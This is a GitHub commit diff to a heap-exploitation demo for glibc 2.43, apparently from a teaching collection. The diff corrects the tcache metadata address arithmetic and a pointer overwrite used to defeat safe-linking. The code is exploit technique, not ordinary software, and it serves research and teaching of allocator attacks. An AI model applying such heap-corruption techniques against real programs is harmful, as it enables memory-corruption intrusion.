We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent ad0f457 commit 693fbacCopy full SHA for 693fbac
glibc_2.43/safe_link_double_protect.c
@@ -93,10 +93,10 @@ int main(void) {
93
puts("by overwriting the LSB of the pointer for 0x30 in the t-cache metadata:");
94
95
// Calculate the address of the t-cache metadata
96
- void *metadata = (void *)((long)(value) & ~(0xfff));
+ void *metadata = (void *)((long)(value) & ~(0xfff)) + 0x70;
97
98
// Overwrite the LSB of the 0x30 t-cache chunk to point to the heap chunk containing the arbitrary value
99
- *(unsigned int*)(metadata+0xb0) = (long)(metadata)+((long)(value) & (0xfff));
+ *(unsigned int*)(metadata+0xb0) = (((long)metadata >> 12) << 12)+((long)(value) & (0xfff));
100
101
printf("\t\t> 0x40 t-cache: [%p -> 0x%lx]\n", value, (*(long*)value)^((long)metadata>>12));
102
puts("");
0 commit comments